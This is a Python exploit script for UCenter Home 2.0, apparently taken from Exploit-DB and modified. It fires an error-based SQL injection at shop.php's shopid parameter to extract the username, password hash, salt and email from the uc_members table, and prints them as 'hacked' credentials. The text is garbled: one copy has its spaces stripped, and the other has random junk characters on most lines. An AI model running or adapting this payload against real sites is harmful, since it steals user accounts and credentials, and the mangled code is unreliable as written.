#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl2 N7 S5 o, r+ K0 ?7 y
- l& O, S5 \ A% Q1 u
+ \5 k, g! {# u2 M9 r: [#!/usr/bin/env python
* H8 ?" J8 B+ K% U3 E$ C& n* k
6 S# O4 p. a1 limport sys ; T6 [9 `" `6 Q3 W! e
import urllib2 , n; J! S1 D. I1 N! w- @
import re 7 p1 s9 G4 ?7 q
1 V. i6 b7 Z& f f, Pdef info():
0 m- ~7 @- o3 N! S5 a; i7 { print 'From:http://www.exploit-db.com/exploits/14997/' : \- @! X& V9 l C0 v
print 'http://www.hake.cc/Web_loudong/' . g4 ^* I* K4 f9 R
print 'changed:qiaoy' ; u. _3 U4 G# G% b: X
print 'exp:' . |3 i. Z* q9 | b$ {
print ' ./UCenter_Home_2.0.py site' P+ j, ?3 e' [) O; ^' O; s
3 s _ C! C' C" I& Z/ Ndef main():
s8 i: e* s& X* m1 O! _ if len(sys.argv) != 2:
- D' H! W2 J8 J2 `( ?! x+ S; O info()
7 X* A- ~8 k6 P( b# i else: ) Y, Q- D1 a# G+ ~( \" N9 r9 K j
site = sys.argv[1]
4 m+ d: t" }! R/ k if site[0:7] == 'http://': ' {! t7 o% o9 p7 V* h% H
sitesite =site ) ?: `+ y6 g' Z! \
elif site[0:8] == 'https://': + l+ I# w l+ y" c/ T' p S3 n) R
sitesite = site 9 K* `% W# q) e4 G! y
else:
* T! C% U h8 {4 n5 h. g site = 'http://'+site
1 F5 j; X% J" D, \& B+ L& w& s try: , \* f7 i) B/ C& m; I
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 0 i9 n7 p/ L- J& N6 N o
Value = urllib2.urlopen(url).read()
1 m; v; d# q; G& I4 y/ p Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
1 K. u! A7 c6 _6 h( r: b0 C hacked = Msg.split(':')
9 b; F' t; e) ^ print 'Name: '+hacked[1] : g1 o* F f- F( A8 t
print 'Passwd: '+hacked[2] ! C" K. |. J4 C2 F9 D8 }# A
print 'salt: '+hacked[3] " H5 L- ~. L& v0 q
print 'email: '+hacked[4] ' Y' s, i+ f# z; o0 Z0 B1 ?1 S3 X
except: : T; N: G% E1 W5 u6 W! }* U
print 'Sorry,I can\'t work............'
! p% P5 @" V5 n4 T, e$ W1 D* d
: x# F8 r; [) Hif __name__ == '__main__': 2 ~0 Y$ }* `* Q2 ]1 h! p
main() |